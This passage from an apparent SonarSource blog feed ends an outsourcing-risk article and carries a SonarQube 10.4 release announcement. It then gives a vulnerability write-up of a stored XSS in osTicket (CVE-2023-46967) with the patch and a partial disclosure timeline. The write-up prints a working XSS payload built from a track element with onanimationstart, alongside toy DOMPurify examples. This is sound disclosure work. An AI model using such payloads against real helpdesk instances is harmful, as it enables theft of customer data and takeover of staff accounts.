code quality and security of your projects or applications to enable proactive outreach when needed&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A 2023 Grammarly and The Harris Poll report reveals that &lt;a href=&quot;https://go.grammarly.com/business-communication-report&quot;&gt;72%&lt;/a&gt; of business leaders believe effective communication has significantly increased their team&amp;#x27;s productivity. Open and transparent communication channels between the in-house and outsourced teams further contribute to a seamless quality assurance workflow. It&amp;#x27;s not just about finding and fixing bugs but fostering a culture of quality throughout the entire development lifecycle.&lt;/p&gt;&lt;h3&gt;Risk 4: Lack of Control and Oversight&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Managing a project without the day-to-day oversight inherent to in-house employees is a uniquely difficult challenge when using outsourced teams. The absence of immediate control introduces uncertainty, especially in critical areas such as meeting deadlines, ensuring quality, and adhering to project requirements. Without the ability to oversee every aspect in real time, there&amp;#x27;s a risk of misalignment between expectations and actual progress. Deadlines are missed, quality assurance feels distant, and there&amp;#x27;s always the concern of veering off the agreed-upon path. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Maintain control and oversight by:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Creating and reinforcing clear quality and security standards for writing code&lt;/li&gt;&lt;li&gt;Establishing clear project milestones and deliverables&lt;/li&gt;&lt;li&gt;Utilizing &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/project-administration/pdf-reports/&quot;&gt;reports&lt;/a&gt; that provide visibility into development progress&lt;/li&gt;&lt;li&gt;Building a collaborative environment that encourages open communication and feedback&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A case study by McKinsey highlighted that organizations with effective project management practices reported a &lt;a href=&quot;https://www.mckinsey.com/capabilities/people-and-organizational-performance/our-insights/the-state-of-organizations-2023&quot;&gt;35% higher success rate&lt;/a&gt; in meeting project goals. Finding the balance between establishing a code quality framework for success and providing guidance without micromanaging outsourced teams helps ensure projects meet expectations without delays.&lt;/p&gt;&lt;h3&gt;Risk 5: Hidden Costs and Budget Overruns&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unexpected costs can jeopardize project budgets and timelines. According to a report by Deloitte, &lt;a href=&quot;https://www2.deloitte.com/content/dam/Deloitte/us/Documents/process-and-operations/us-global-outsourcing-survey-2022.pdf&quot;&gt;57%&lt;/a&gt; of organizations have experienced cost overruns in their outsourcing projects. The challenge lies in the potential for unforeseen costs that can exceed the budget. These hidden costs can manifest in various forms – from unexpected software license fees to additional development hours required for unanticipated issues and complexities. The risk of budget overruns becomes an ever-present burden that can jeopardize the financial stability of your project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid hidden costs:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Create a detailed budget that accounts for potential contingencies&lt;/li&gt;&lt;li&gt;Regularly monitor development activities to stay up-to-date on project progress with a &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/enterprise/?_gl=1*czsm3y*_gcl_aw*R0NMLjE3MDY2Mzg5MjguQ2owS0NRaUEyZUt0QmhEY0FSSXNBRUdURzQwSjFQeUM0bmlOWW1UZ19iY0g2OUk3b1VTN2dzWVhlVmpZUlJZa1YtQ2x4YlBTblFidWtFVWFBbTk4RUFMd193Y0I.*_gcl_au*MTI0NjIxNjU2My4xNzA0MzA2ODQ5*_ga*MTczNzQxODg0NC4xNzA0MzA2ODQ5*_ga_9JZ0GZ5TC6*MTcwNjgwOTk4Mi4xMy4xLjE3MDY4MTE4OTEuMzkuMC4w&quot;&gt;SAST tool&lt;/a&gt; and reports that are integrated into the development process&lt;/li&gt;&lt;li&gt;Foster transparency in discussions to align both parties on budget expectations&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Addressing the risk of hidden costs and budget overruns in outsourced development projects is crucial for mitigating unforeseen expenses and fostering trust and collaboration with the outsourcing team. Overall, tackling this risk promotes financial stability, enhances collaboration, and reinforces the foundation for successful outsourced development endeavors within the defined budgetary constraints. &lt;/p&gt;&lt;h3&gt;Achieve success while avoiding the risks&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Outsourcing software development offers unparalleled advantages, but success hinges on proactive risk management. By addressing communication challenges, ensuring quality assurance, prioritizing data security, maintaining control and oversight, and transparently managing budgets, organizations can forge successful and collaborative partnerships that help sustain the performance of their software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/reduce-outsourcing-software-development-risk/&quot;&gt;Click here&lt;/a&gt; to learn more about how to reduce risk when outsourcing software development. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube 10.4 Release Announcement]]></title><description><![CDATA[The SonarQube 10.4 release includes some exciting changes that show the benefit of Clean Code and the Clean as You Code methodology. Scan times are faster and connecting to SonarLint is easier. Sonar is introducing easy onboarding for GitLab, new support for Helm Charts, and much more.]]></description><link>https://www.sonarsource.com/blog/sonarqube-10-4-release-announcement</link><guid isPermaLink="false">438bdbfd-7b35-53e9-873e-206b38b6b5ea</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Tue, 06 Feb 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The SonarQube 10.4 release includes some exciting changes that show the impact of Clean Code and the benefit of the Clean as You Code methodology. Scan times are faster. Sonar is introducing the first part of easy onboarding for GitLab. We added a new deprecated web API log to improve the upgrade experience. We’re making it easier to link SonarQube with SonarLint, our free IDE plugin, so you can benefit from the two working together. Many more changes include new support for Helm Charts and language updates.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Highlights of the SonarQube 10.4 release… &lt;/h3&gt;&lt;h4&gt;SonarQube Shows You How Clean as You Code is Working For You&lt;/h4&gt;&lt;p&gt;To eliminate the guesswork of what issues you fixed in a pull request, the pull request decoration in your CI platform and the pull request summary in SonarQube show the issues that will be fixed upon merging. You’ll be able to see which issues you resolved before the merge, so you know immediately that you’ve fixed the problem. Similar to the Clean Code Taxonomy changes we’ve made to the pull request, the branch summary now contains a single issues category. Additionally, the overall code tab has info on your code&amp;#x27;s software quality and a count of high, medium, and low severity issues for each category to help explain the cause of the rating value in each category. We&amp;#x27;ve also updated the handling of issues you don&amp;#x27;t plan to address immediately. To dismiss an issue, you now mark it as “accepted” and a count of accepted issues in new code is displayed in the pull request summary and pull request decoration to provide formation on the technical debt accumulating in your code from accepting Issues. Lastly, you can now use Clean Code Taxonomy values to set the Clean Code attribute for a new rule created from a template.&lt;/p&gt;&lt;h4&gt;Faster Scan Times, Introduction of Easy Onbarding of GitLab, and Smoother Upgrades&lt;/h4&gt;&lt;p&gt;Scan times are even faster now because the scanner only downloads the analyzers required for performing the scan instead of everything. In SonarQube 10.3, we completed easy onboarding of GitHub. In 10.4, we started the same work for GitLab by adding support for provisioning and synchronizing users and groups from GitLab into SonarQube. This automates setup and maintenance when using GitLab to authenticate users in SonarQube. Additionally, we’re making upgrades smoother by giving you quick feedback when you use deprecated web APIs and web API parameters in a new deprecated web API log.&lt;/p&gt;&lt;h4&gt;Updates to SonarLint Connected Mode, Languages, and New Helm Charts Support&lt;/h4&gt;&lt;p&gt;Have you linked your SonarQube to SonarLint using connected mode? If not, you’re missing out on some fantastic capabilities. One of the most exciting is that when viewing an issue in SonarQube, you can jump directly to the code in question in your IDE to fix it immediately. In this release, to simplify setup, when you click the button to view the issue in SonarLint, SonarQube will walk you through linking them together. Additionally, in 10.4, thanks to connected mode, SonarQube Enterprise Edition will download your custom secrets rules to SonarLint, and any custom secrets will be highlighted for you as you code, preventing these secrets from being inadvertently pushed to your repository. SonarQube now supports scanning Helm Charts for Helm-based Kubernetes deployments. We’ve added many more language updates, including more MISRA C++ 2023 rules, finding issues in C++ macros, accessibility rules for React.js, more SpringBoot rules, Javax and Jakarta now have the same rule coverage, more Blazor rules in .NET, and for Python we now support Graphene, the FastAPI framework, and the top 3 Python SAST Benchmarks: DVGA, DSVW, and skf-labs-python.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For more details, see the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/sonarqube-10-4/&quot;&gt;10.4 release announcement&lt;/a&gt; and our product &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/release-upgrade-notes/&quot;&gt;10.4 release notes&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;Are you still on an older SonarQube version?&lt;strong&gt; &lt;/strong&gt;&lt;/h4&gt;&lt;p&gt;If you’re on a version older than 9.9, upgrade to SonarQube 9.9 LTS before upgrading to 10.4. Check out this helpful &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;checklist&lt;/a&gt; for a smoother upgrade. Watch the &lt;a href=&quot;https://www.sonarsource.com/resources/webinars/ace-your-sonarqube-upgrade/&quot;&gt;on-demand LTS upgrade webinar&lt;/a&gt; highlighting a step-by-step approach and common pitfalls encountered during the upgrade. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pitfalls of Desanitization: Leaking Customer Data from osTicket]]></title><description><![CDATA[The dangerous Desanitization pattern led to an XSS vulnerability in the open-source helpdesk software osTicket, which can be used to leak customer data.]]></description><link>https://www.sonarsource.com/blog/pitfalls-of-desanitization-leaking-customer-data-from-osticket</link><guid isPermaLink="false">b2b8a7ef-7a06-5c53-b000-316d87f5619b</guid><dc:creator><![CDATA[Oskar Zeino-Mahmalat]]></dc:creator><pubDate>Tue, 06 Feb 2024 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As part of our continuous effort to improve our Clean Code technology and the security of the open-source ecosystem, our R&amp;amp;D team is always on the lookout for new 0-day security vulnerabilities in prominent software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our research, we repeatedly come across a dangerous coding pattern we call &lt;em&gt;Desanitization&lt;/em&gt;: An issue where potentially dangerous user input is sanitized, and then changed afterward in a way that negates the sanitization, making the input dangerous again. The pattern led to numerous impactful XSS vulnerabilities we uncovered, e.g. a &lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-csrf-to-rce/&quot;&gt;WordPress RCE bug chain&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We found the issue again in osTicket, where it led to a Cross-Site Scripting (XSS) vulnerability. &lt;a href=&quot;https://osticket.com/&quot;&gt;osTicket&lt;/a&gt; is an open-source helpdesk software that companies can use to provide solutions to customers seeking help. By default, anyone can create a ticket about a problem without needing an account. Employees with staff member accounts can then view and answer tickets. osTicket can be an interesting target for attackers, as customers or staff members might write about sensitive data like credentials or personal identifiable information.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we first explain the theory of the common Desanitization pattern. We then showcase what the pattern looks like in practice using the XSS vulnerability we found in osTicket which could be used to leak customer data.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;osTicket v1.18 and osTicket before v1.17.4&lt;/strong&gt; contain a &lt;strong&gt;Stored&lt;/strong&gt; &lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt; vulnerability (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-46967&quot;&gt;CVE-2023-46967&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;An unauthenticated attacker can create a malicious ticket with an XSS payload. When an authenticated staff member of the osTicket instance views the ticket, the payload executes. The attacker can use this to &lt;strong&gt;leak tickets&lt;/strong&gt; of other customers potentially containing &lt;strong&gt;sensitive data&lt;/strong&gt;. Additionally, the attacker can &lt;strong&gt;fully&lt;/strong&gt; &lt;strong&gt;take over the staff member&amp;#x27;s account&lt;/strong&gt; with a password reset email sent to the attacker&amp;#x27;s email address, allowing them to impersonate the victim. A support system compromise can have serious consequences for customers: Think of the &lt;a href=&quot;https://techcrunch.com/2023/10/20/okta-says-hackers-stole-customer-access-tokens-from-support-unit/&quot;&gt;Okta hack last year&lt;/a&gt; that rippled out to &lt;a href=&quot;https://techcrunch.com/2023/10/24/oktas-latest-hack-fallout-hits-cloudflare-1password/&quot;&gt;Cloudflare and 1Password&lt;/a&gt; because of leaked access tokens.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability is &lt;strong&gt;fixed&lt;/strong&gt; in osTicket versions &lt;a href=&quot;https://github.com/osTicket/osTicket/releases/tag/v1.18.1&quot;&gt;&lt;strong&gt;v1.18.1&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/osTicket/osTicket/releases/tag/v1.17.5&quot;&gt;&lt;strong&gt;v1.17.5&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;The Desanitization pattern&lt;/h2&gt;&lt;p&gt;Before looking at the XSS vulnerability in osTicket and how to exploit it to leak customers&amp;#x27; tickets, we want to explain the common and dangerous coding pattern that led to the XSS vulnerability: &lt;em&gt;Desanitization&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;XSS vulnerabilities are injection vulnerabilities: user input has to end up in a dangerous sink that renders HTML without sufficient encoding or sanitization. An abstract way of protecting against injection vulnerabilities looks like this: The &lt;code&gt;userInput&lt;/code&gt; is processed and modified in some way, then sanitized, and finally used.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;data = modify(userInput);
data = sanitize(data);
use(data);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A concrete example of this pattern is protecting against client-side XSS using DOMPurify:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;userInput = &apos;&lt;div class=&quot;foo&quot;&gt;&lt;img src onerror=alert(1)&gt;&apos;;

// (1) modify
data = data.replace(/class=&quot;.*?&quot;/, &apos;class=&quot;custom-class&quot; &apos;);
// &lt;div class=&quot;custom-class&quot;&gt;&lt;img src onerror=alert(1)&gt;

// (2) sanitize
data = DOMPurify.sanitize(userInput);
// &lt;div class=&quot;custom-class&quot;&gt;&lt;img src=&quot;&quot;&gt;&lt;/div&gt;

// (3) use
document.body.innerHTML = data; // safe&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This approach is only safe as long as the order of operations stays like this. Swapping the order to sanitize and then modify results in the dangerous Desanitization pattern.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;data = sanitize(userInput);
data = modify(data);
use(data);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Why is this dangerous? Because the modifications can break the assumptions of the sanitizer and reintroduce injection payloads into a context where they are executed. This desanitizes the data. Let&amp;#x27;s illustrate this again with a toy XSS example.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;userInput = &apos;class=&quot; &lt;div id=&quot;&lt;img src onerror=alert(1)&gt;&quot;&gt;&apos;;

// (1) sanitize
data = DOMPurify.sanitize(userInput);
// class=&quot; &lt;div id=&quot;&lt;img src onerror=alert(1)&gt;&quot;&gt;&lt;/div&gt;

// (2) modify
data = data.replace(/class=&quot;.*?&quot;/, &apos;class=&quot;custom-class&quot; &apos;);
// class=&quot;custom-class&quot;&lt;img src onerror=alert(1)&gt;&quot;&gt;&lt;/div&gt;

// (3) use
document.body.innerHTML = data; // triggers alert(1)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;DOMPurify sees a harmless &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag with an &lt;code&gt;id&lt;/code&gt; attribute and leaves it intact after sanitization. The modification afterward naively removes the opening &lt;code&gt;&amp;lt;div&lt;/code&gt; tag. In doing so, the context of the malicious &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; is changed from an attribute to a tag. This breaks the assumption of the sanitizer about the attribute context being harmless, as the payload is moved out of the attribute context. In the end, an alert is triggered.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Desanitization happens because of a false assumption: &amp;quot;I have already sanitized my data, now I am safe and can implement features.&amp;quot; But unfortunately, the order of operations matters.  As a rule of thumb, modifying a sanitizer’s output should be avoided and considered dangerous, regardless of how benign the modification might be. It can always lead to Desanitization in unexpected and subtle ways. To avoid Desanitization, we recommend making sure that sanitization is the very last step before data is used. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This issue also goes beyond XSS: it can show up anytime when data is sanitized, modified, and then interpreted by another component that reparses the data. For example, think of SQL Injection (SQLi): An old way to protect against it was escaping single quotes and other special characters in the user input. Modifying the escaped data afterward could mess with the escaping and lead to SQLi. While SQLi can be avoided by fixing the order of operations, the best way to do it is to avoid reparsing altogether with parameterized queries.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We found Desanitization to be a common cause of vulnerabilities. The pattern was part of a &lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-csrf-to-rce/&quot;&gt;Wordpress RCE bugchain&lt;/a&gt; we discovered, it allowed us to potentially steal emails from &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Proton Mail&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-tutanota-desktop-due-to-code-flaw/&quot;&gt;Tutanota&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/blog/magento-rce-via-xss/&quot;&gt;more&lt;/a&gt;. We showcased multiple of these vulnerabilities in the talk &lt;a href=&quot;https://www.youtube.com/watch?v=V-DdcKADnFk&quot;&gt;A Common Bypass Pattern To Exploit Modern Web Apps&lt;/a&gt; at Insomni&amp;#x27;hack 2022. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the next section, we go from theory to practice by looking at a Desanitization vulnerability in osTicket. We explain how a small modification after the sanitization of user-submitted HTML leads to XSS in multiple locations of osTicket.&lt;/p&gt;&lt;h2&gt;Desanitization in osTicket&amp;#x27;s Format::sanitize function leads to XSS (CVE-2023-46967)&lt;/h2&gt;&lt;p&gt;osTicket is a typical support software written in core PHP. It allows customers to create support tickets asking for help and staff members to view and reply to those tickets. Users can submit tickets on the website or directly via email with rich text formatting enabled.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b755ce77-81ad-4e97-8289-221f88713045/Screenshot%202024-02-06%20at%2016-02-09%20Ticket%20%23750539.png&quot; /&gt;&lt;p&gt;Rich text benefits clear communication between the users seeking help and staff members but also comes at the risk of XSS. As such, it cleans up the user&amp;#x27;s HTML tickets on the server by sending all HTML user input through a sanitizer function &lt;code&gt;Format::sanitize()&lt;/code&gt;. This server-side HTML sanitizer is used in many different places in osTicket where user-controlled HTML is rendered.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This function passes the user input from the &lt;code&gt;$text&lt;/code&gt; parameter into &lt;code&gt;Format::safe_html()&lt;/code&gt; for sanitization. &lt;code&gt;Format::safe_html()&lt;/code&gt; is a wrapper around the &lt;a href=&quot;https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/&quot;&gt;htmLawed library&lt;/a&gt;. This library claims to clean up broken HTML and filter against XSS attacks. &lt;code&gt;Format::localizeInlineImages()&lt;/code&gt; takes the now safe HTML string and transforms the &lt;code&gt;src&lt;/code&gt; attribute of all images to a different format. After that, the transformed HTML is returned to be rendered by the browser. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;static function sanitize($text, $striptags=false, $spec=false) {
  // (1) sanitize
  $text = Format::safe_html($text, array(&apos;spec&apos; =&gt; $spec));
  // (2) modify
  $text = self::localizeInlineImages($text);
  // ...
  return $text;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;include/class.format.php&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Looking at this code, the Desanitization pattern immediately jumps out, as the sanitization and modification are in the wrong order and directly next to each other. So we went through both steps to search for bugs in the sanitization itself and Desanitization bugs. After investigating the htmLawed library and how it was configured, we could not find issues in the sanitization. So we assumed that it was safe and proceeded with the rest of &lt;code&gt;Format::sanitize()&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What is &lt;code&gt;Format::localizeInlineImages()&lt;/code&gt; doing exactly with the sanitized input? Looking at its code, we find a regex that replaces specifically formatted &lt;code&gt;http(s):&lt;/code&gt; URLs inside &lt;code&gt;src&lt;/code&gt; attributes with &lt;code&gt;cid:&lt;/code&gt; URLs. Content ID URLs (&lt;code&gt;cid:&lt;/code&gt;) usually represent inline images in emails, but osTicket also uses them to map attachments to tickets internally.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static function localizeInlineImages($text) {
  return preg_replace(
    &apos;`src=&quot;(?:https?:/)?(?:/[^/&quot;]+)*?/file\\.php\\?(?:\w+=[^&amp;]+&amp;(?:amp;)?)*?key=([^&amp;]+)[^&quot;]*`&apos;,
    &apos;src=&quot;cid:$1&apos;, $text);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;include/class.format.php&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The regex tries to match a &lt;code&gt;src&lt;/code&gt; attribute containing a URL with a &lt;code&gt;/file.php&lt;/code&gt; path and a &lt;code&gt;key&lt;/code&gt; query parameter. For example, the following input matches the regex and gets replaced by the string below:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;src=&quot;/file.php?param=value&amp;key=cid-value

src=&quot;cid:cid-value&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The attribute parsing performed by this regex is, unfortunately, flawed. The regex contains a negative character class that can match unlimited characters that are not ampersands (&lt;code&gt;&amp;amp;&lt;/code&gt;). This includes the double quote character &lt;code&gt;&amp;quot;&lt;/code&gt;, which is used to mark the end of the &lt;code&gt;src&lt;/code&gt; attribute. It also includes the angle brackets &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c0855ca2-d2f0-4507-aa21-04ebe03cea22/osTicket%20-%20regex.png&quot; /&gt;&lt;p&gt;The characters matched by this character class are not part of the replacement and are deleted. This can lead to plain text outside of an HTML element becoming an attribute of the element when the closing bracket &lt;code&gt;&amp;gt;&lt;/code&gt; of the element is deleted by the regex replace. This violates the assumptions of the htmLawed sanitizer, which does not clean up plain text. This makes the transformation a classic case of Desanitization because special characters could be removed in an unbalanced way, unintentionally changing the structure of the HTML.&lt;/p&gt;&lt;h3&gt;Exploitation&lt;/h3&gt;&lt;p&gt;How can this be abused? In this example, everything after &lt;code&gt;&amp;gt;&lt;/code&gt; is considered plain text and not changed by the sanitization. The marked part is matched by the negative character class from before. In the replacement, this removes the &lt;code&gt;&amp;gt;&lt;/code&gt;. All the plain text after &lt;code&gt;&amp;amp;key=cid-value&amp;quot;&lt;/code&gt;, including &lt;code&gt;onerror=alert(1)&lt;/code&gt;, is now part of the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element. Browsers ignore that the closing angle bracket of &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; is now missing and still renders the element, leading to XSS.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b0f3e36d-d63b-4482-b918-8c17dac303d4/osTicket%20-%20regex%20replace.png&quot; /&gt;&lt;p&gt;The above example is not enough to trigger the XSS vulnerability. This is because other parts of the osTicket codebase transform the HTML even further. The &lt;code&gt;src&lt;/code&gt; attributes of images are converted from &lt;code&gt;cid:&lt;/code&gt; back to &lt;code&gt;https:&lt;/code&gt;, and images without valid &lt;code&gt;src&lt;/code&gt; attributes are deleted afterward. But the vulnerable regex modification includes &lt;code&gt;src=&lt;/code&gt; at the start, so we do not need to use an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. Any element that can have a &lt;code&gt;src&lt;/code&gt; attribute works. We cannot use any random element, as htmLawed checks if attributes are expected on an element or not. For example, a &lt;code&gt;src&lt;/code&gt; attribute on a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; element is removed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Going through the htmLawed&amp;#x27;s mapping of HTML elements to attributes, we discovered the &lt;code&gt;&amp;lt;track&amp;gt;&lt;/code&gt; element. &lt;code&gt;&amp;lt;track&amp;gt;&lt;/code&gt; elements are usually used inside of &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt; to attach a subtitle track. A &lt;code&gt;src&lt;/code&gt; attribute is used for this, just what we need. Normally, htmLawed would remove &lt;code&gt;&amp;lt;track&amp;gt;&lt;/code&gt; if it is outside of the expected &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt; element, but osTicket disabled this check in the htmLawed configuration. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, a simple &lt;code&gt;onerror&lt;/code&gt; does not work for &lt;code&gt;&amp;lt;track&amp;gt;&lt;/code&gt;. It only tries to load its &lt;code&gt;src&lt;/code&gt; - which can fail and trigger &lt;code&gt;onerror&lt;/code&gt; - when it is inside &lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt;. And both of these are blocked by htmLawed! Remember, we can only add bad attributes to valid tags that passed sanitization, not arbitrary ones.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;XSS connoisseurs might know that there are other juicy event handlers out there than just &lt;code&gt;onerror&lt;/code&gt;. &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&quot;&gt;Portswigger&amp;#x27;s XSS cheatsheet&lt;/a&gt; is an excellent resource for exploring and filtering them for your conditions. With this, we found &lt;code&gt;onanimationstart&lt;/code&gt;. This event handler fires whenever an animation on the element starts. We can add an existing animation from osTicket&amp;#x27;s stylesheets to the &lt;code&gt;&amp;lt;track&amp;gt;&lt;/code&gt; element inside a &lt;code&gt;style&lt;/code&gt; attribute, which is allowed by the sanitizer. Here is our final working payload before and after being desanitized.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;track style=&quot;animation-name:progress-bar-stripes;&quot; src=&quot;/file.php?param=value&quot;&gt; &amp;key=foo&quot; onanimationstart=&quot;alert(origin)&quot; text

&lt;track style=&quot;animation-name:progress-bar-stripes&quot; src=&quot;cid:foo&quot; onanimationstart=&quot;alert(origin)&quot; text&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An attacker can submit a payload like this as a ticket to an osTicket instance to leak other tickets with sensitive customer data as soon as a staff member looks at the ticket. The attacker can also take over the staff member&amp;#x27;s account by changing their email address to an attacker-controlled one and requesting a password reset. An attacker with staff member access can abuse the same vulnerability in other locations on internal pages to target administrative users, who might not look at tickets. They could also use the gained staff member access to trick users seeking help into installing remote access software to run malicious commands on the user&amp;#x27;s computer. &lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The osTicket maintainer Enhancesoft chose to follow our recommendation for protecting against Desanitization: Never modify data after sanitization. They swapped the order of the modifying `&lt;code&gt;Format::localizeInlineImages()&lt;/code&gt; and the sanitizing &lt;code&gt;Format::safe_html()&lt;/code&gt; calls. They additionally hardened the regex that replaces URLs so that it only matches &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static function sanitize($text, $striptags=false, $spec=false) {
+    // Localize inline images before sanitizing content
+    $text = self::localizeInlineImages($text);

    //balance and neutralize unsafe tags.
    $text = Format::safe_html($text, array(&apos;spec&apos; =&gt; $spec));

-    $text = self::localizeInlineImages($text);
-
    //If requested - strip tags with decoding disabled.
    return $striptags?Format::striptags($text, false):$text;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;osTicket/osTicket: c4ad48d&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-31&lt;/td&gt;&lt;td&gt;We reported all issues to Enhancesoft&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-31&lt;/td&gt;&lt;td&gt;Enhancesoft acknowledged the report&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-08-07&lt;/td&gt;&lt;td&gt;Enhancesoft replicated the issue and suggested a patch&lt;/td&gt;&lt;/tr&gt;
